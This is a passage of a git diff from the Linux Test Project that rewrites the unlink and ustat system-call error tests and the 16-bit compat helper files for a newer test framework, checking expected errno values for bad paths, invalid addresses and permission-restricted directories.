- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the unlink(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	unlink(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
+/*
+ * Description:
+ * The testcase checks the various errnos of the unlink(2).
+ * 1) unlink() returns ENOENT if file doesn't exist.
+ * 2) unlink() returns ENOENT if path is empty.
+ * 3) unlink() returns ENOENT if path contains a non-existent file.
+ * 4) unlink() returns EFAULT if address is invalid.
+ * 5) unlink() returns ENOTDIR if path contains a regular file.
+ * 6) unlink() returns ENAMETOOLONG if path contains a regular file.
+ */
+
 #include <errno.h>
 #include <string.h>
-#include <signal.h>
 #include <unistd.h>
-#include <sys/param.h>		/* for PATH_MAX */
-#include "test.h"
+#include <sys/param.h>	/* for PATH_MAX */
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+static char longpathname[PATH_MAX + 2];
 
-extern char *get_high_address();
-
-char *TCID = "unlink07";
-int TST_TOTAL = 6;
-
-char *bad_addr = 0;
-
-int longpath_setup();
-int no_setup();
-int filepath_setup();
-char Longpathname[PATH_MAX + 2];
-char High_address[64];
-
-struct test_case_t {
-	char *pathname;
+static struct test_case_t {
+	char *name;
 	char *desc;
 	int exp_errno;
-	int (*setupfunc) ();
-} Test_cases[] = {
-	{
-	"nonexistfile", "non-existent file", ENOENT, no_setup}, {
-	"", "path is empty string", ENOENT, no_setup}, {
-	"nefile/file", "path contains a non-existent file",
-		    ENOENT, no_setup},
-#if !defined(UCLINUX)
-	{
-	High_address, "address beyond address space", EFAULT, no_setup},
-#endif
-	{
-	"file/file", "path contains a regular file",
-		    ENOTDIR, filepath_setup},
-#if !defined(UCLINUX)
-	{
-	High_address, "address beyond address space", EFAULT, no_setup},
-#endif
-	{
-	Longpathname, "pathname too long", ENAMETOOLONG, longpath_setup}, {
-	(char *)-1, "negative address", EFAULT, no_setup}, {
-	NULL, NULL, 0, no_setup}
+} tcases[] = {
+	{"nonexistfile", "non-existent file", ENOENT},
+	{"", "path is empty string", ENOENT},
+	{"nefile/file", "path contains a non-existent file", ENOENT},
+	{NULL, "invalid address", EFAULT},
+	{"file/file", "path contains a regular file", ENOTDIR},
+	{longpathname, "pathname too long", ENAMETOOLONG},
 };
 
-/***********************************************************************
- * Main
- ***********************************************************************/
-int main(int ac, char **av)
+static void verify_unlink(unsigned int n)
 {
-	int lc;
-	char *fname;
-	char *desc;
-	int ind;
+	struct test_case_t *tc = &tcases[n];
 
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (ind = 0; Test_cases[ind].desc != NULL; ind++) {
-
-			fname = Test_cases[ind].pathname;
-			desc = Test_cases[ind].desc;
-
-#if !defined(UCLINUX)
-			if (fname == High_address)
-				fname = get_high_address();
-#endif
-			/*
-			 *  Call unlink(2)
-			 */
-			TEST(unlink(fname));
-
-			/* check return code */
-			if (TEST_RETURN == -1) {
-				if (TEST_ERRNO ==
-				    Test_cases[ind].exp_errno)
-					tst_resm(TPASS,
-						 "unlink(<%s>) Failed, errno=%d",
-						 desc, TEST_ERRNO);
-				else
-					tst_resm(TFAIL,
-						 "unlink(<%s>) Failed, errno=%d, expected errno:%d",
-						 desc, TEST_ERRNO,
-						 Test_cases
-						 [ind].exp_errno);
-			} else {
-				tst_resm(TFAIL,
-					 "unlink(<%s>) returned %ld, expected -1, errno:%d",
-					 desc, TEST_RETURN,
-					 Test_cases[ind].exp_errno);
-			}
-		}
-
+	TEST(unlink(tc->name));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "unlink(<%s>) succeeded unexpectedly",
+			tc->desc);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-	int ind;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	bad_addr = mmap(0, 1, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
+	if (TST_ERR == tc->exp_errno) {
+		tst_res(TPASS | TTERRNO, "unlink(<%s>) failed as expected",
+			tc->desc);
+	} else {
+		tst_res(TFAIL | TTERRNO,
+			"unlink(<%s>) failed, expected errno: %s",
+			tc->desc, tst_strerrno(tc->exp_errno));
 	}
-	Test_cases[7].pathname = bad_addr;
+}
 
-	for (ind = 0; Test_cases[ind].desc != NULL; ind++) {
-		Test_cases[ind].setupfunc();
+static void setup(void)
+{
+	unsigned int n;
+
+	SAFE_TOUCH("file", 0777, NULL);
+
+	memset(longpathname, 'a', PATH_MAX + 2);
+
+	for (n = 0; n < ARRAY_SIZE(tcases); n++) {
+		if (!tcases[n].name)
+			tcases[n].name = tst_get_bad_addr(NULL);
 	}
-
 }
 
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-	chmod("unwrite_dir", 0777);
-	chmod("unsearch_dir", 0777);
-
-	tst_rmdir();
-
-}
-
-/******************************************************************
- *
- ******************************************************************/
-int no_setup(void)
-{
-	return 0;
-}
-
-/******************************************************************
- *
- ******************************************************************/
-int longpath_setup(void)
-{
-	int ind;
-
-	for (ind = 0; ind <= PATH_MAX + 1; ind++) {
-		Longpathname[ind] = 'a';
-	}
-	return 0;
-
-}
-
-/******************************************************************
- *
- ******************************************************************/
-int filepath_setup(void)
-{
-	int fd;
-
-	if ((fd = creat("file", 0777)) == -1) {
-		tst_brkm(TBROK, cleanup, "creat(file) failed, errno:%d %s",
-			 errno, strerror(errno));
-	}
-	close(fd);
-	return 0;
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_unlink,
+};
diff --git a/testcases/kernel/syscalls/unlink/unlink08.c b/testcases/kernel/syscalls/unlink/unlink08.c
index 9829a7c..f1a778f 100644
--- a/testcases/kernel/syscalls/unlink/unlink08.c
+++ b/testcases/kernel/syscalls/unlink/unlink08.c
@@ -1,355 +1,109 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
-/* $Id: unlink08.c,v 1.5 2009/11/02 13:57:19 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: unlink08
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: unlink(2) negative testcases
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 3
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Richard Logan
- *
- *    CO-PILOT		: William Roske
- *
- *    DATE STARTED	: 03/30/94
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1-3) See Testcases structure below.
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the unlink(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	unlink(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
+/*
+ * Description:
+ * The testcase checks the various errnos of the unlink(2).
+ * 1) unlink() returns EACCES when deleting file in unwritable directory
+ *    as an unprivileged user.
+ * 2) unlink() returns EACCES when deleting file in "unsearchable directory
+ *    as an unprivileged user.
+ * 3) unlink() returns EISDIR when deleting directory for root
+ * 4) unlink() returns EISDIR when deleting directory for regular user
+ */
+
 #include <errno.h>
-#include <signal.h>
-#include <unistd.h>
-#include <string.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <stdlib.h>
+#include <sys/types.h>
+#include <pwd.h>
+#include "tst_test.h"
 
-void setup(void);
-void cleanup(void);
+static struct passwd *pw;
 
-char *TCID = "unlink08";
-int TST_TOTAL = 3;
-
-int unwrite_dir_setup(int flag);
-int unsearch_dir_setup(int flag);
-int dir_setup(int flag);
-int no_setup(int flag);
-
-struct test_case_t {
-	char *pathname;
+static struct test_case_t {
+	char *name;
 	char *desc;
-	int (*setupfunc) (int flag);
-	int exp_ret;		/* -1 means error, 0 means != -1 */
 	int exp_errno;
-} Test_cases[] = {
-	{
-	"unwrite_dir/file", "unwritable directory", unwrite_dir_setup,
-		    -1, EACCES}, {
-	"unsearch_dir/file", "unsearchable directory",
-		    unsearch_dir_setup, -1, EACCES},
-#ifdef linux
-	{
-	"regdir", "directory", dir_setup, -1, EISDIR},
-#else
-	{
-	"regdir", "directory", dir_setup, -1, EPERM},
-#endif
-	{
-	NULL, NULL, no_setup, -1, 0}
+	int exp_user;
+} tcases[] = {
+	{"unwrite_dir/file", "unwritable directory", EACCES, 1},
+	{"unsearch_dir/file", "unsearchable directory", EACCES, 1},
+	{"regdir", "directory", EISDIR, 0},
+	{"regdir", "directory", EISDIR, 1},
 };
 
-/***********************************************************************
- * Main
- ***********************************************************************/
-int main(int ac, char **av)
+static void verify_unlink(struct test_case_t *tc)
 {
-	int lc;
-	char *fname;
-	char *desc;
-	int ind;
-
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (ind = 0; Test_cases[ind].desc != NULL; ind++) {
-
-			fname = Test_cases[ind].pathname;
-			desc = Test_cases[ind].desc;
-
-			/*
-			 *  Call unlink(2)
-			 */
-			TEST(unlink(fname));
-
-			/* check return code */
-			if (TEST_RETURN == -1) {
-				if (Test_cases[ind].exp_ret == -1) {	/* neg test */
-					if (TEST_ERRNO ==
-					    Test_cases[ind].exp_errno)
-						tst_resm(TPASS,
-							 "unlink(<%s>) Failed, errno=%d",
-							 desc,
-							 TEST_ERRNO);
-					else
-						tst_resm(TFAIL,
-							 "unlink(<%s>) Failed, errno=%d, expected errno:%d",
-							 desc,
-							 TEST_ERRNO,
-							 Test_cases
-							 [ind].exp_errno);
-				} else {
-					tst_resm(TFAIL,
-						 "unlink(<%s>) Failed, errno=%d",
-						 desc, TEST_ERRNO);
-				}
-			} else {
-				if (Test_cases[ind].exp_ret == -1) {
-					tst_resm(TFAIL,
-						 "unlink(<%s>) returned %ld, expected -1, errno:%d",
-						 desc, TEST_RETURN,
-						 Test_cases[ind].exp_errno);
-				} else {
-					tst_resm(TPASS,
-						 "unlink(<%s>) returned %ld",
-						 desc, TEST_RETURN);
-				}
-				Test_cases[ind].setupfunc(1);
-			}
-		}
-
+	TEST(unlink(tc->name));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "unlink(<%s>) succeeded unexpectedly",
+			tc->desc);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-	int ind;
-	int postest = 0;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	if (geteuid() == 0) {
-		postest++;
+	if (TST_ERR == tc->exp_errno) {
+		tst_res(TPASS | TTERRNO, "unlink(<%s>) failed as expected",
+			tc->desc);
+	} else {
+		tst_res(TFAIL | TTERRNO,
+			"unlink(<%s>) failed, expected errno: %s",
+			tc->desc, tst_strerrno(tc->exp_errno));
 	}
+}
 
-	for (ind = 0; Test_cases[ind].desc != NULL; ind++) {
-		if (Test_cases[ind].exp_errno == EACCES && postest)
-			Test_cases[ind].exp_ret = 0;	/* set as a pos test */
-		Test_cases[ind].setupfunc(0);
+static void do_unlink(unsigned int n)
+{
+	struct test_case_t *cases = &tcases[n];
+	pid_t pid;
+
+	if (cases->exp_user) {
+		pid = SAFE_FORK();
+		if (!pid) {
+			SAFE_SETUID(pw->pw_uid);
+			verify_unlink(cases);
+			exit(0);
+		}
+
+		SAFE_WAITPID(pid, NULL, 0);
+	} else {
+		verify_unlink(cases);
 	}
-
 }
 
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
+static void setup(void)
 {
-	chmod("unwrite_dir", 0777);
-	chmod("unsearch_dir", 0777);
+	SAFE_MKDIR("unwrite_dir", 0777);
+	SAFE_TOUCH("unwrite_dir/file", 0777, NULL);
+	SAFE_CHMOD("unwrite_dir", 0555);
 
-	tst_rmdir();
+	SAFE_MKDIR("unsearch_dir", 0777);
+	SAFE_TOUCH("unsearch_dir/file", 0777, NULL);
+	SAFE_CHMOD("unsearch_dir", 0666);
 
+	SAFE_MKDIR("regdir", 0777);
+
+	pw = SAFE_GETPWNAM("nobody");
 }
 
-/******************************************************************
- *
- ******************************************************************/
-int unwrite_dir_setup(int flag)
-{
-	int fd;
-
-	if (!flag) {		/* initial setup */
-		SAFE_MKDIR(cleanup, "unwrite_dir", 0777);
-
-		if ((fd = creat("unwrite_dir/file", 0777)) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "creat(unwrite_dir/file, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
-		close(fd);
-
-		SAFE_CHMOD(cleanup, "unwrite_dir", 0555);
-	} else {		/* resetup */
-		SAFE_CHMOD(cleanup, "unwrite_dir", 0777);
-
-		if ((fd = creat("unwrite_dir/file", 0777)) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "creat(unwrite_dir/file, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
-		close(fd);
-
-		SAFE_CHMOD(cleanup, "unwrite_dir", 0555);
-	}
-	return 0;
-}
-
-/******************************************************************
- *
- ******************************************************************/
-int unsearch_dir_setup(int flag)
-{
-	int fd;
-
-	if (!flag) {		/* initial setup */
-		SAFE_MKDIR(cleanup, "unsearch_dir", 0777);
-
-		if ((fd = creat("unsearch_dir/file", 0777)) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "creat(unsearch_dir/file, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
-		close(fd);
-
-		SAFE_CHMOD(cleanup, "unsearch_dir", 0666);
-	} else {		/* resetup */
-		SAFE_CHMOD(cleanup, "unsearch_dir", 0777);
-
-		if ((fd = creat("unsearch_dir/file", 0777)) == -1) {
-			tst_brkm(TBROK, cleanup,
-				 "creat(unsearch_dir/file, 0777) failed, errno:%d %s",
-				 errno, strerror(errno));
-		}
-		close(fd);
-
-		SAFE_CHMOD(cleanup, "unsearch_dir", 0666);
-	}
-	return 0;
-}
-
-/******************************************************************
- *
- ******************************************************************/
-int dir_setup(int flag)
-{
-	SAFE_MKDIR(cleanup, "regdir", 0777);
-	return 0;
-}
-
-/******************************************************************
- *
- ******************************************************************/
-int no_setup(int flag)
-{
-	return 0;
-}
+static struct tst_test test = {
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = do_unlink,
+};
diff --git a/testcases/kernel/syscalls/unlinkat/.gitignore b/testcases/kernel/syscalls/unlinkat/.gitignore
new file mode 100644
index 0000000..76ed551
--- /dev/null
+++ b/testcases/kernel/syscalls/unlinkat/.gitignore
@@ -0,0 +1 @@
+/unlinkat01
diff --git a/testcases/kernel/syscalls/unshare/.gitignore b/testcases/kernel/syscalls/unshare/.gitignore
new file mode 100644
index 0000000..855ffd0
--- /dev/null
+++ b/testcases/kernel/syscalls/unshare/.gitignore
@@ -0,0 +1,2 @@
+/unshare01
+/unshare02
diff --git a/testcases/kernel/syscalls/ustat/.gitignore b/testcases/kernel/syscalls/ustat/.gitignore
new file mode 100644
index 0000000..3a04efd
--- /dev/null
+++ b/testcases/kernel/syscalls/ustat/.gitignore
@@ -0,0 +1,2 @@
+/ustat01
+/ustat02
diff --git a/testcases/kernel/syscalls/ustat/ustat01.c b/testcases/kernel/syscalls/ustat/ustat01.c
index 31d7f86..3f1186c 100644
--- a/testcases/kernel/syscalls/ustat/ustat01.c
+++ b/testcases/kernel/syscalls/ustat/ustat01.c
@@ -1,21 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) Wipro Technologies Ltd, 2003.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-
-/*
  * Check that ustat() succeeds given correct parameters.
  */
 
@@ -24,71 +10,35 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 
-#include "config.h"
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "ustat01";
-
-#ifdef HAVE_USTAT
-# ifdef HAVE_SYS_USTAT_H
-#  include <sys/ustat.h>
-# endif
-
-static void setup(void);
-
-int TST_TOTAL = 1;
+#include "lapi/syscalls.h"
+#include "lapi/ustat.h"
+#include "tst_test.h"
 
 static dev_t dev_num;
-static struct ustat ubuf;
 
-int main(int argc, char *argv[])
+void run(void)
 {
-	int lc, i;
+	struct ustat ubuf;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	TEST(tst_syscall(__NR_ustat, dev_num, &ubuf));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(ustat(dev_num, &ubuf));
-
-			if (TEST_RETURN == -1 && TEST_ERRNO == ENOSYS)
-				tst_brkm(TCONF, NULL, "ustat not supported");
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "ustat(2) failed and set"
-					 "the errno to %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TPASS, "ustat(2) passed");
-			}
-		}
-	}
-
-	tst_exit();
+	if (TST_RET == -1)
+		tst_res(TFAIL | TTERRNO, "ustat(2) failed");
+	else
+		tst_res(TPASS, "ustat(2) passed");
 }
 
 static void setup(void)
 {
 	struct stat buf;
 
-	tst_sig(NOFORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-
 	/* Find a valid device number */
-	SAFE_STAT(NULL, "/", &buf);
+	SAFE_STAT("/", &buf);
 
 	dev_num = buf.st_dev;
 }
-#else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have ustat() support");
-}
-#endif
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/ustat/ustat02.c b/testcases/kernel/syscalls/ustat/ustat02.c
index fe644f9..9bbe4f3 100644
--- a/testcases/kernel/syscalls/ustat/ustat02.c
+++ b/testcases/kernel/syscalls/ustat/ustat02.c
@@ -1,21 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-
-/*
  * Test whether ustat(2) system call returns appropriate error number for
  * invalid dev_t parameter and for bad address paramater.
  */
@@ -25,18 +11,9 @@
 #include <sys/stat.h>
 #include <sys/types.h>
 
-#include "config.h"
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "ustat02";
-
-#ifdef HAVE_USTAT
-# ifdef HAVE_SYS_USTAT_H
-#  include <sys/ustat.h>
-# endif
-
-static void setup(void);
+#include "lapi/syscalls.h"
+#include "lapi/ustat.h"
+#include "tst_test.h"
 
 static dev_t invalid_dev = -1;
 static dev_t root_dev;
@@ -57,59 +34,30 @@
 
 int TST_TOTAL = ARRAY_SIZE(tc);
 
-int main(int ac, char **av)
+void run(unsigned int test)
 {
+	TEST(tst_syscall(__NR_ustat, *tc[test].dev, tc[test].buf));
 
-	int lc, i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(ustat(*tc[i].dev, tc[i].buf));
-
-			if (TEST_RETURN == -1 && TEST_ERRNO == ENOSYS)
-				tst_brkm(TCONF, NULL, "ustat not supported");
-
-			if ((TEST_RETURN == -1)
-			    && (TEST_ERRNO == tc[i].exp_errno)) {
-				tst_resm(TPASS,
-					 "ustat(2) expected failure;"
-					 " Got errno - %s : %s",
-					 tc[i].exp_errval, tc[i].err_desc);
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-				         "ustat(2) failed to produce"
-					 " expected error; %d, errno"
-					 ": %s",
-					 tc[i].exp_errno, tc[i].exp_errval);
-			}
-		}
-	}
-
-	tst_exit();
+	if ((TST_RET == -1) && (TST_ERR == tc[test].exp_errno))
+		tst_res(TPASS | TTERRNO, "ustat(2) expected failure");
+	else
+		tst_res(TFAIL | TTERRNO,
+			"ustat(2) failed to produce expected error; %d, errno"
+			": %s", tc[test].exp_errno, tc[test].exp_errval);
 }
 
 static void setup(void)
 {
 	struct stat buf;
 
-	tst_sig(NOFORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-
 	/* Find a valid device number */
-	SAFE_STAT(NULL, "/", &buf);
+	SAFE_STAT("/", &buf);
 
 	root_dev = buf.st_dev;
 }
-#else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have ustat() support");
-}
-#endif
+
+static struct tst_test test = {
+	.test = run,
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tc),
+};
diff --git a/testcases/kernel/syscalls/utils/compat_16.h b/testcases/kernel/syscalls/utils/compat_16.h
index f0bc326..5b0338d 100644
--- a/testcases/kernel/syscalls/utils/compat_16.h
+++ b/testcases/kernel/syscalls/utils/compat_16.h
@@ -35,7 +35,9 @@
 #include "lapi/syscalls.h"
 
 int setresuid(uid_t ruid, uid_t euid, uid_t suid);
+int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid);
 int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
+int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid);
 
 
 /* If the platform has __NR_sys_name32 defined it
@@ -136,11 +138,21 @@
 	LTP_CREATE_SYSCALL(setresuid, cleanup, ruid, euid, suid);
 }
 
+int GETRESUID(void (cleanup)(void), UID_T *ruid, UID_T *euid, UID_T *suid)
+{
+	LTP_CREATE_SYSCALL(getresuid, cleanup, ruid, euid, suid);
+}
+
 int SETRESGID(void (cleanup)(void), GID_T rgid, GID_T egid, GID_T sgid)
 {
 	LTP_CREATE_SYSCALL(setresgid, cleanup, rgid, egid, sgid);
 }
 
+int GETRESGID(void (cleanup)(void), GID_T *rgid, GID_T *egid, GID_T *sgid)
+{
+	LTP_CREATE_SYSCALL(getresgid, cleanup, rgid, egid, sgid);
+}
+
 int FCHOWN(void (cleanup)(void), unsigned int fd, UID_T owner, GID_T group)
 {
 	LTP_CREATE_SYSCALL(fchown, cleanup, fd, owner, group);
diff --git a/testcases/kernel/syscalls/utils/compat_16.mk b/testcases/kernel/syscalls/utils/compat_16.mk
index 3378908..a0ff8f5 100644
--- a/testcases/kernel/syscalls/utils/compat_16.mk
+++ b/testcases/kernel/syscalls/utils/compat_16.mk
@@ -12,9 +12,7 @@
 #  the GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
+#  along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 # Author: Masatake YAMATO <yamato@redhat.com>
 # Technique used here is suggested by Ngie Cooper <yaneurabeya@gmail.com>
@@ -56,25 +54,21 @@
 
 MAKE_TARGETS		:= $(notdir $(patsubst %.c,%,$(SRCS)))
 MAKE_TARGETS_OBJS_WO_COMPAT_16	:= $(addsuffix .o,$(MAKE_TARGETS))
-
-ifneq ($(TST_COMPAT_16_SYSCALL),no)
 MAKE_TARGETS		+= $(addsuffix _16,$(MAKE_TARGETS))
-endif
 
 # XXX (garrcoop): This code should be put in question as it cannot be applied
 # (no .h file, no TST_USE_NEWER64_SYSCALL def).
 DEF_16			:= TST_USE_COMPAT16_SYSCALL
 
+ifneq ($(COMPAT_TST_16_H),1)
 COMPAT_16_H		:= $(abs_srcdir)/../utils/compat_16.h
+else
+COMPAT_16_H     := $(abs_srcdir)/../utils/compat_tst_16.h
+endif
 
 ifneq ($(wildcard $(COMPAT_16_H)),)
-HAS_COMPAT_16		:= 1
-
 $(MAKE_TARGETS_OBJS_WO_COMPAT_16): $(COMPAT_16_H)
 .INTERMEDIATE: $(MAKE_TARGETS_OBJS_WO_COMPAT_16)
-
-else
-HAS_COMPAT_16		:= 0
 endif
 
 %_16: CPPFLAGS += -D$(DEF_16)=1
diff --git a/testcases/kernel/syscalls/utils/compat_tst_16.h b/testcases/kernel/syscalls/utils/compat_tst_16.h
new file mode 100644
index 0000000..3b86ef3
--- /dev/null
+++ b/testcases/kernel/syscalls/utils/compat_tst_16.h
